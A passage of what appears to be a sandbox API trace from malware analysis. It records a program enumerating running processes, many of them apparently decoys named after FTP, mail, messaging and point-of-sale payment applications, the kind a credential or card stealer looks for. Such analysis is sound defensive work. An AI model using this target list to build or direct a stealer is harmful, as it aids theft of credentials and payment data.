cntUsage=0x0, th32ProcessID=0x8e8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x4, pcPriClassBase=8, dwFlags=0x0, szExeFile="Memory Compression")) returned 1 [0152.365] lstrlenW (lpString="Memory Compression") returned 18 [0152.365] Process32NextW (in: hSnapshot=0x2f0, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xaec, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1c, th32ParentProcessID=0x2a4, pcPriClassBase=8, dwFlags=0x0, szExeFile="SearchUI.exe")) returned 1 [0152.365] lstrlenW (lpString="SearchUI.exe") returned 12 [0152.365] Process32NextW (in: hSnapshot=0x2f0, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xaf4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1c, th32ParentProcessID=0x2a4, pcPriClassBase=8, dwFlags=0x0, szExeFile="ShellExperienceHost.exe")) returned 1 [0152.365] lstrlenW (lpString="ShellExperienceHost.exe") returned 23 [0152.366] Process32NextW (in: hSnapshot=0x2f0, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb98, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x2a4, pcPriClassBase=8, dwFlags=0x0, szExeFile="RuntimeBroker.exe")) returned 1 [0152.366] lstrlenW (lpString="RuntimeBroker.exe") returned 17 [0152.366] Process32NextW (in: hSnapshot=0x2f0, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xde4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x2a4, pcPriClassBase=8, dwFlags=0x0, szExeFile="WmiPrvSE.exe")) returned 1 [0152.366] lstrlenW (lpString="WmiPrvSE.exe") returned 12 [0152.366] Process32NextW (in: hSnapshot=0x2f0, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xf94, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x7e0, pcPriClassBase=8, dwFlags=0x0, szExeFile="tablets_refugees.exe")) returned 1 [0152.367] lstrlenW (lpString="tablets_refugees.exe") returned 20 [0152.367] Process32NextW (in: hSnapshot=0x2f0, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xfa8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x7e0, pcPriClassBase=8, dwFlags=0x0, szExeFile="migration dying locations.exe")) returned 1 [0152.367] lstrlenW (lpString="migration dying locations.exe") returned 29 [0152.367] Process32NextW (in: hSnapshot=0x2f0, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xfbc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x7e0, pcPriClassBase=8, dwFlags=0x0, szExeFile="college-advance.exe")) returned 1 [0152.368] lstrlenW (lpString="college-advance.exe") returned 19 [0152.368] Process32NextW (in: hSnapshot=0x2f0, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xfd0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x7e0, pcPriClassBase=8, dwFlags=0x0, szExeFile="nickel ra execution.exe")) returned 1 [0152.368] lstrlenW (lpString="nickel ra execution.exe") returned 23 [0152.368] Process32NextW (in: hSnapshot=0x2f0, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xfe4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x7e0, pcPriClassBase=8, dwFlags=0x0, szExeFile="boompromoterestore.exe")) returned 1 [0152.368] lstrlenW (lpString="boompromoterestore.exe") returned 22 [0152.369] Process32NextW (in: hSnapshot=0x2f0, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xff8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x7e0, pcPriClassBase=8, dwFlags=0x0, szExeFile="metallic.exe")) returned 1 [0152.369] lstrlenW (lpString="metallic.exe") returned 12 [0152.369] Process32NextW (in: hSnapshot=0x2f0, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x378, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x7e0, pcPriClassBase=8, dwFlags=0x0, szExeFile="adjustedfavors.exe")) returned 1 [0152.369] lstrlenW (lpString="adjustedfavors.exe") returned 18 [0152.369] Process32NextW (in: hSnapshot=0x2f0, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4ec, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x7e0, pcPriClassBase=8, dwFlags=0x0, szExeFile="brown parade bases.exe")) returned 1 [0152.370] lstrlenW (lpString="brown parade bases.exe") returned 22 [0152.370] Process32NextW (in: hSnapshot=0x2f0, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x52c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x7e0, pcPriClassBase=8, dwFlags=0x0, szExeFile="specified wales.exe")) returned 1 [0152.370] lstrlenW (lpString="specified wales.exe") returned 19 [0152.370] Process32NextW (in: hSnapshot=0x2f0, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xc88, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x7e0, pcPriClassBase=8, dwFlags=0x0, szExeFile="inspiration.exe")) returned 1 [0152.371] lstrlenW (lpString="inspiration.exe") returned 15 [0152.371] Process32NextW (in: hSnapshot=0x2f0, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x488, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x7e0, pcPriClassBase=8, dwFlags=0x0, szExeFile="importance-slot-announcements.exe")) returned 1 [0152.371] lstrlenW (lpString="importance-slot-announcements.exe") returned 33 [0152.371] Process32NextW (in: hSnapshot=0x2f0, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4e8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x7e0, pcPriClassBase=8, dwFlags=0x0, szExeFile="hundred-arrest.exe")) returned 1 [0152.371] lstrlenW (lpString="hundred-arrest.exe") returned 18 [0152.372] Process32NextW (in: hSnapshot=0x2f0, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xc78, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x7e0, pcPriClassBase=8, dwFlags=0x0, szExeFile="classbuck.exe")) returned 1 [0152.372] lstrlenW (lpString="classbuck.exe") returned 13 [0152.372] Process32NextW (in: hSnapshot=0x2f0, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb7c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x7e0, pcPriClassBase=8, dwFlags=0x0, szExeFile="x-deutschland.exe")) returned 1 [0152.372] lstrlenW (lpString="x-deutschland.exe") returned 17 [0152.372] Process32NextW (in: hSnapshot=0x2f0, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xce0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x7e0, pcPriClassBase=8, dwFlags=0x0, szExeFile="sacred-sword-plc.exe")) returned 1 [0152.373] lstrlenW (lpString="sacred-sword-plc.exe") returned 20 [0152.373] Process32NextW (in: hSnapshot=0x2f0, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xce8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x7e0, pcPriClassBase=8, dwFlags=0x0, szExeFile="laptop_wiring_candy.exe")) returned 1 [0152.373] lstrlenW (lpString="laptop_wiring_candy.exe") returned 23 [0152.373] Process32NextW (in: hSnapshot=0x2f0, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xaa8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x7e0, pcPriClassBase=8, dwFlags=0x0, szExeFile="lawsuit.exe")) returned 1 [0152.374] lstrlenW (lpString="lawsuit.exe") returned 11 [0152.374] Process32NextW (in: hSnapshot=0x2f0, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7c0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x7e0, pcPriClassBase=8, dwFlags=0x0, szExeFile="3dftp.exe")) returned 1 [0152.374] lstrlenW (lpString="3dftp.exe") returned 9 [0152.374] Process32NextW (in: hSnapshot=0x2f0, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd10, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x7e0, pcPriClassBase=8, dwFlags=0x0, szExeFile="absolutetelnet.exe")) returned 1 [0152.374] lstrlenW (lpString="absolutetelnet.exe") returned 18 [0152.374] Process32NextW (in: hSnapshot=0x2f0, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xc44, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x7e0, pcPriClassBase=8, dwFlags=0x0, szExeFile="alftp.exe")) returned 1 [0152.375] lstrlenW (lpString="alftp.exe") returned 9 [0152.375] Process32NextW (in: hSnapshot=0x2f0, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd18, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x7e0, pcPriClassBase=8, dwFlags=0x0, szExeFile="barca.exe")) returned 1 [0152.375] lstrlenW (lpString="barca.exe") returned 9 [0152.375] Process32NextW (in: hSnapshot=0x2f0, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd48, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x7e0, pcPriClassBase=8, dwFlags=0x0, szExeFile="bitkinex.exe")) returned 1 [0152.376] lstrlenW (lpString="bitkinex.exe") returned 12 [0152.376] Process32NextW (in: hSnapshot=0x2f0, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xcf4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x7e0, pcPriClassBase=8, dwFlags=0x0, szExeFile="coreftp.exe")) returned 1 [0152.376] lstrlenW (lpString="coreftp.exe") returned 11 [0152.376] Process32NextW (in: hSnapshot=0x2f0, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xda8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x7e0, pcPriClassBase=8, dwFlags=0x0, szExeFile="far.exe")) returned 1 [0152.377] lstrlenW (lpString="far.exe") returned 7 [0152.377] Process32NextW (in: hSnapshot=0x2f0, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb30, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x7e0, pcPriClassBase=8, dwFlags=0x0, szExeFile="filezilla.exe")) returned 1 [0152.378] lstrlenW (lpString="filezilla.exe") returned 13 [0152.378] Process32NextW (in: hSnapshot=0x2f0, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2c0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x7e0, pcPriClassBase=8, dwFlags=0x0, szExeFile="flashfxp.exe")) returned 1 [0152.379] lstrlenW (lpString="flashfxp.exe") returned 12 [0152.379] Process32NextW (in: hSnapshot=0x2f0, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xda0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x7e0, pcPriClassBase=8, dwFlags=0x0, szExeFile="fling.exe")) returned 1 [0152.380] lstrlenW (lpString="fling.exe") returned 9 [0152.380] Process32NextW (in: hSnapshot=0x2f0, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb14, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x7e0, pcPriClassBase=8, dwFlags=0x0, szExeFile="foxmailincmail.exe")) returned 1 [0152.380] lstrlenW (lpString="foxmailincmail.exe") returned 18 [0152.380] Process32NextW (in: hSnapshot=0x2f0, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xbd4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x7e0, pcPriClassBase=8, dwFlags=0x0, szExeFile="gmailnotifierpro.exe")) returned 1 [0152.381] lstrlenW (lpString="gmailnotifierpro.exe") returned 20 [0152.381] Process32NextW (in: hSnapshot=0x2f0, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xa2c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x7e0, pcPriClassBase=8, dwFlags=0x0, szExeFile="icq.exe")) returned 1 [0152.382] lstrlenW (lpString="icq.exe") returned 7 [0152.382] Process32NextW (in: hSnapshot=0x2f0, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7b4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x7e0, pcPriClassBase=8, dwFlags=0x0, szExeFile="leechftp.exe")) returned 1 [0152.382] lstrlenW (lpString="leechftp.exe") returned 12 [0152.382] Process32NextW (in: hSnapshot=0x2f0, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xdd0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x7e0, pcPriClassBase=8, dwFlags=0x0, szExeFile="ncftp.exe")) returned 1 [0152.383] lstrlenW (lpString="ncftp.exe") returned 9 [0152.383] Process32NextW (in: hSnapshot=0x2f0, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xc54, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x7e0, pcPriClassBase=8, dwFlags=0x0, szExeFile="notepad.exe")) returned 1 [0152.384] lstrlenW (lpString="notepad.exe") returned 11 [0152.384] Process32NextW (in: hSnapshot=0x2f0, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x818, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x7e0, pcPriClassBase=8, dwFlags=0x0, szExeFile="operamail.exe")) returned 1 [0152.384] lstrlenW (lpString="operamail.exe") returned 13 [0152.384] Process32NextW (in: hSnapshot=0x2f0, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x540, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x7e0, pcPriClassBase=8, dwFlags=0x0, szExeFile="pidgin.exe")) returned 1 [0153.103] lstrlenW (lpString="pidgin.exe") returned 10 [0153.103] Process32NextW (in: hSnapshot=0x2f0, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x19c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x7e0, pcPriClassBase=8, dwFlags=0x0, szExeFile="scriptftp.exe")) returned 1 [0153.723] lstrlenW (lpString="scriptftp.exe") returned 13 [0153.723] Process32NextW (in: hSnapshot=0x2f0, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x258, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x7e0, pcPriClassBase=8, dwFlags=0x0, szExeFile="skype.exe")) returned 1 [0153.724] lstrlenW (lpString="skype.exe") returned 9 [0153.724] Process32NextW (in: hSnapshot=0x2f0, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x388, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x7e0, pcPriClassBase=8, dwFlags=0x0, szExeFile="smartftp.exe")) returned 1 [0153.725] lstrlenW (lpString="smartftp.exe") returned 12 [0153.725] Process32NextW (in: hSnapshot=0x2f0, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x42c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x7e0, pcPriClassBase=8, dwFlags=0x0, szExeFile="thunderbird.exe")) returned 1 [0153.725] lstrlenW (lpString="thunderbird.exe") returned 15 [0153.725] Process32NextW (in: hSnapshot=0x2f0, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xf0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x7e0, pcPriClassBase=8, dwFlags=0x0, szExeFile="totalcmd.exe")) returned 1 [0153.726] lstrlenW (lpString="totalcmd.exe") returned 12 [0153.726] Process32NextW (in: hSnapshot=0x2f0, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x814, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x7e0, pcPriClassBase=8, dwFlags=0x0, szExeFile="trillian.exe")) returned 1 [0153.727] lstrlenW (lpString="trillian.exe") returned 12 [0153.727] Process32NextW (in: hSnapshot=0x2f0, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x6f0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x7e0, pcPriClassBase=8, dwFlags=0x0, szExeFile="webdrive.exe")) returned 1 [0153.727] lstrlenW (lpString="webdrive.exe") returned 12 [0153.727] Process32NextW (in: hSnapshot=0x2f0, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x8a0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x7e0, pcPriClassBase=8, dwFlags=0x0, szExeFile="whatsapp.exe")) returned 1 [0153.728] lstrlenW (lpString="whatsapp.exe") returned 12 [0153.728] Process32NextW (in: hSnapshot=0x2f0, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xe6c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x7e0, pcPriClassBase=8, dwFlags=0x0, szExeFile="winscp.exe")) returned 1 [0153.729] lstrlenW (lpString="winscp.exe") returned 10 [0153.729] Process32NextW (in: hSnapshot=0x2f0, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x414, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x7e0, pcPriClassBase=8, dwFlags=0x0, szExeFile="yahoomessenger.exe")) returned 1 [0153.729] lstrlenW (lpString="yahoomessenger.exe") returned 18 [0153.729] Process32NextW (in: hSnapshot=0x2f0, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xe98, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x7e0, pcPriClassBase=8, dwFlags=0x0, szExeFile="active-charge.exe")) returned 1 [0153.730] lstrlenW (lpString="active-charge.exe") returned 17 [0153.730] Process32NextW (in: hSnapshot=0x2f0, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xe9c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x7e0, pcPriClassBase=8, dwFlags=0x0, szExeFile="accupos.exe")) returned 1 [0153.730] lstrlenW (lpString="accupos.exe") returned 11 [0153.731] Process32NextW (in: hSnapshot=0x2f0, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xee0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x7e0, pcPriClassBase=8, dwFlags=0x0, szExeFile="afr38.exe")) returned 1 [0153.731] lstrlenW (lpString="afr38.exe") returned 9 [0153.731] Process32NextW (in: hSnapshot=0x2f0, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd60, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x7e0, pcPriClassBase=8, dwFlags=0x0, szExeFile="aldelo.exe")) returned 1 [0153.732] lstrlenW (lpString="aldelo.exe") returned 10 [0153.732] Process32NextW (in: hSnapshot=0x2f0, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xe5c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x7e0, pcPriClassBase=8, dwFlags=0x0, szExeFile="ccv_server.exe")) returned 1 [0153.732] lstrlenW (lpString="ccv_server.exe") returned 14 [0153.732] Process32NextW (in: hSnapshot=0x2f0, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd5c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x7e0, pcPriClassBase=8, dwFlags=0x0, szExeFile="centralcreditcard.exe")) returned 1 [0153.733] lstrlenW (lpString="centralcreditcard.exe") returned 21 [0153.733] Process32NextW (in: hSnapshot=0x2f0, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd64, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x7e0, pcPriClassBase=8, dwFlags=0x0, szExeFile="creditservice.exe")) returned 1 [0153.734] lstrlenW (lpString="creditservice.exe") returned 17 [0153.734] Process32NextW (in: hSnapshot=0x2f0, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xf38, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x7e0, pcPriClassBase=8, dwFlags=0x0, szExeFile="edcsvr.exe")) returned 1 [0153.736] lstrlenW (lpString="edcsvr.exe") returned 10 [0153.736] Process32NextW (in: hSnapshot=0x2f0, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xf8c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x7e0, pcPriClassBase=8, dwFlags=0x0, szExeFile="fpos.exe")) returned 1 [0153.737] lstrlenW (lpString="fpos.exe") returned 8 [0153.737] Process32NextW (in: hSnapshot=0x2f0, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xff4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x7e0, pcPriClassBase=8, dwFlags=0x0, szExeFile="isspos.exe")) returned 1 [0153.737] lstrlenW (lpString="isspos.exe") returned 10 [0153.737] Process32NextW (in: hSnapshot=0x2f0, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x384, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x7e0, pcPriClassBase=8, dwFlags=0x0, szExeFile="mxslipstream.exe")) returned 1 [0153.738] lstrlenW (lpString="mxslipstream.exe") returned 16 [0153.738] Process32NextW (in: hSnapshot=0x2f0, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xcd0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x7e0, pcPriClassBase=8, dwFlags=0x0, szExeFile="omnipos.exe")) returned 1 [0153.739] lstrlenW (lpString="omnipos.exe") returned 11 [0153.739] Process32NextW (in: hSnapshot=0x2f0, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xee8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x7e0, pcPriClassBase=8, dwFlags=0x0, szExeFile="spcwin.exe")) returned 1 [0153.739] lstrlenW (lpString="spcwin.exe") returned 10 [0153.739] Process32NextW (in: hSnapshot=0x2f0, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x7e0, pcPriClassBase=8, dwFlags=0x0, szExeFile="spgagentservice.exe")) returned 1 [0153.740] lstrlenW (lpString="spgagentservice.exe") returned 19 [0153.740] Process32NextW (in: hSnapshot=0x2f0, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x60, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x7e0, pcPriClassBase=8, dwFlags=0x0, szExeFile="utg2.exe")) returned 1 [0153.740] lstrlenW (lpString="utg2.exe") returned 8 [0153.740] Process32NextW (in: hSnapshot=0x2f0, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xbe4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x7e0, pcPriClassBase=8, dwFlags=0x0, szExeFile="counsel-directed-receivers.exe")) returned 1 [0153.741] lstrlenW (lpString="counsel-directed-receivers.exe") returned 30 [0153.741] Process32NextW (in: hSnapshot=0x2f0, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xbf4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x2a4, pcPriClassBase=8, dwFlags=0x0, szExeFile="WmiPrvSE.exe")) returned 1 [0153.741] lstrlenW (lpString="WmiPrvSE.exe") returned 12 [0153.742] Process32NextW (in: hSnapshot=0x2f0, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1188, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0153.742] lstrlenW (lpString="svchost.exe") returned 11 [0153.742] Process32NextW (in: hSnapshot=0x2f0, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x11c4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x170, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhostw.exe")) returned 1 [0153.743] lstrlenW (lpString="taskhostw.exe") returned 13 [0153.743] Process32NextW (in: hSnapshot=0x2f0, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x11f0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x170, 